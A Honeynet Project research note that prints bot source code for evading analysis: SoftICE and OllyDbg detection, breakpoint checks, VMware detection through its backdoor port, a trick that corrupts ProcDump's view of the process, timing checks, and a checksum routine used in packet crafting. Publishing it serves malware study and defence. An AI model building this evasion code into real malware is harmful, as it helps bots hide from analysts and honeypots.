Honeynet Project
http://www.honeynet.org
Last Modified: 17 February, 2005
In this side note, we take a closer look at the source code of some bots. We demonstrate several examples of techniques used by current bots to either speed-up computations or to detect suspicious environments, such as detection of debuggers or virtual machines such as VMware. Furthermore, some bots use different techniques to make forensic analysis much more difficult.
/*
Function: IsSICELoaded
Description: This method is used by a lot of crypters/compresors it uses INT 41,
this interrupt is used by Windows debugging interface to detect if a
debugger is present. Only works under Windows.
Returns: true if a debugger is detected
*/
__inline bool IsSICELoaded() {
_asm {
mov ah, 0x43
int 0x68
cmp ax, 0x0F386 // Will be set by all system debuggers.
jz out_
xor ax, ax
mov es, ax
mov bx, word ptr es:[0x68*4]
mov es, word ptr es:[0x68*4+2]
mov eax, 0x0F43FC80
cmp eax, dword ptr es:[ebx]
jnz out_
jmp normal_
normal_:
xor eax, eax
leave
ret
out_:
mov eax, 0x1
leave
ret
}
return false;
}
/*
Function: IsSoftIceNTLoaded
Description: Like the previous one but for use under Win NT only
Returns: true if SoftIce is loaded
*/
__inline BOOL IsSoftIceNTLoaded() {
HANDLE hFile=CreateFile( "\\\\.\\NTICE",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile!=INVALID_HANDLE_VALUE) { CloseHandle(hFile); return true; }
return false;
}
/*
Function: IsODBGLoaded
Description: Tests if OllyDbg/other app debuggers is/are enabled
Returns: true if a debugger is detected
*/
__inline bool IsODBGLoaded() {
char *caption="DAEMON";
_asm {
push 0x00
push caption
mov eax, fs:[30h] // pointer to PEB
movzx eax, byte ptr[eax+0x2]
or al,al
jz normal_
jmp out_
normal_:
xor eax, eax
leave
ret
out_:
mov eax, 0x1
leave
ret
}
}
/*
Functions are declared as __inline, this causes the expansion of this code each time a function
is invoked, this is to difficult the cracker work by using this function more than once time
Function: IsBPX
Description: Checks if the given memory address is a breakpoint
Returns: true if it is a breakpoint
*/
__inline bool IsBPX(void *address) {
_asm {
mov esi, address // load function address
mov al, [esi] // load the opcode
cmp al, 0xCC // check if the opcode is CCh
je BPXed // yes, there is a breakpoint
// jump to return true
xor eax, eax // false,
jmp NOBPX // no breakpoint
BPXed:
mov eax, 1 // breakpoint found
NOBPX:
}
}
/*
executes VMware backdoor I/O function call
*/
#define VMWARE_MAGIC 0x564D5868 // Backdoor magic number
#define VMWARE_PORT 0x5658 // Backdoor port number
#define VMCMD_GET_VERSION 0x0a // Get version number
int VMBackDoor(unsigned long *reg_a, unsigned long *reg_b, unsigned long *reg_c, unsigned long *reg_d) {
unsigned long a, b, c, d;
b=reg_b?*reg_b:0;
c=reg_c?*reg_c:0;
xtry {
__asm {
push eax
push ebx
push ecx
push edx
mov eax, VMWARE_MAGIC
mov ebx, b
mov ecx, c
mov edx, VMWARE_PORT
in eax, dx
mov a, eax
mov b, ebx
mov c, ecx
mov d, edx
pop edx
pop ecx
pop ebx
pop eax
}
} xcatch(...) {}
if(reg_a) *reg_a=a; if(reg_b) *reg_b=b; if(reg_c) *reg_c=c; if(reg_d) *reg_d=d;
return a;
}
/*
Check VMware version only
*/
int VMGetVersion() {
unsigned long version, magic, command;
command=VMCMD_GET_VERSION;
VMBackDoor(&version, &magic, &command, NULL);
if(magic==VMWARE_MAGIC) return version;
else return 0; }
/*
Check if running inside VMWare
*/
int IsVMWare() {
int version=VMGetVersion();
if(version) return true; else return false;
}
/*
Fool ProcDump with increasing size
*/
void FoolProcDump() {
__asm {
mov eax, fs:[0x30]
mov eax, [eax+0xC]
mov eax, [eax+0xC]
add dword ptr [eax+0x20], 0x2000 // increase size variable
}
}
bool CDebugDetect::IsDebug() {
#ifdef _DEBUG
return false;
#else
if(m_bIsDebug) return true;
#ifndef _WIN32
// Anti-PTrace
// if(ptrace(PTRACE_TRACEME, 0, 1, 0)<0) {
// m_bIsDebug=true; return true;
// }
#else
pfnIsDebuggerPresent IsDbgPresent=NULL;
HMODULE hK32=GetModuleHandle("KERNEL32.DLL");
if(!hK32) hK32=LoadLibrary("KERNEL32.DLL");
if(hK32) {
IsDbgPresent=(pfnIsDebuggerPresent)GetProcAddress(hK32, "IsDebuggerPresent");
}
FoolProcDump();
ScrewWithVirtualPC();
unsigned long lStartTime=GetTickCount();
if(IsBPX(&IsBPX)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsBPX, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
if(IsBPX(&IsSICELoaded)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsSICELoaded, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
if(IsBPX(&IsSoftIceNTLoaded)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsSoftIceNTLoaded, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
if(IsBPX(&IsVMWare)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsVMWare, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
if(IsSoftIceNTLoaded()) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "SoftIce named pipe exists, maybe debugger is active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
if(IsSICELoaded()) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "SoftIce is loaded, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
// if(IsVMWare()) {
//#ifdef DBGCONSOLE
// g_cConsDbg.Log(5, "Running inside VMWare, probably honeypot...\n");
//#endif // DBGCONSOLE
// m_bIsDebug=true; return true;
// }
if(IsDbgPresent) {
if(IsBPX(&IsDbgPresent)) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Breakpoint set on IsDebuggerPresent, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
if(IsDbgPresent()) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "IsDebuggerPresent returned true, debugger active...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
}
if((GetTickCount()-lStartTime) > 5000) {
#ifdef DBGCONSOLE
g_cConsDbg.Log(5, "Routine took too long to execute, probably single-step...\n");
#endif // DBGCONSOLE
m_bIsDebug=true; return true;
}
#endif // WIN32
return false;
#endif // _DEBUG
}
/*
This calculates a TCP/IP checksum
*/
#ifdef WIN32
#define USE_ASM
#endif // WIN32
unsigned short checksum(unsigned short *buffer, int size) {
unsigned long cksum=0;
#ifdef USE_ASM
unsigned long lsize=size;
char szMMBuf[8], *pMMBuf=szMMBuf;
__asm {
FEMMS
MOV ECX, lsize // ecx=lsize;
MOV EDX, buffer // edx=buffer;
MOV EBX, cksum // ebx=cksum;
CMP ECX, 2 // size<2;
JS CKSUM_LOOP2 // goto loop 2
CKSUM_LOOP:
XOR EAX, EAX // eax=0;
MOV AX, WORD PTR [EDX] // ax=(unsigned short*)*buffer;
ADD EBX, EAX // cksum+=(unsigned short*)*buffer;
SUB ECX, 2 // size-=2;
ADD EDX, 2 // buffer+=2;
CMP ECX, 1 // size>1
JG CKSUM_LOOP // while();
CMP ECX, 0 // if(!size);
JE CKSUM_FITS // fits if equal
CKSUM_LOOP2:
XOR EAX, EAX // eax=0;
MOV AL, BYTE PTR [EDX] // al=(unsigned char*)*buffer;
ADD EBX, EAX // cksum+=(unsigned char*)*buffer;
SUB ECX, 1 // size-=1;
ADD EDX, 1 // buffer+=1;
CMP ECX, 0 // size>0;
JG CKSUM_LOOP2 // while();
CKSUM_FITS:
MOV cksum, EBX // cksum=ebx;
MOV EAX, cksum // eax=cksum;
SHR EAX, 16 // eax=cksum>>16;
MOV EBX, cksum // ebx=cksum;
AND EBX, 0xffff // ebx=cksum&0xffff;
ADD EAX, EBX // eax=(cksum>>16)+(cksum&0xffff);
MOV EBX, EAX // ebx=cksum;
SHR EBX, 16 // ebx=cksum>>16;
ADD EAX, EBX // cksum+=(cksum>>16);
MOV cksum, EAX // cksum=EAX;
FEMMS
}
#else // USE_ASM
while(size>1) { cksum+=*buffer++; size-=2; }
if(size) cksum+=*(unsigned char*)buffer;
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
#endif // USE_ASM
return (unsigned short)(~cksum); }
*/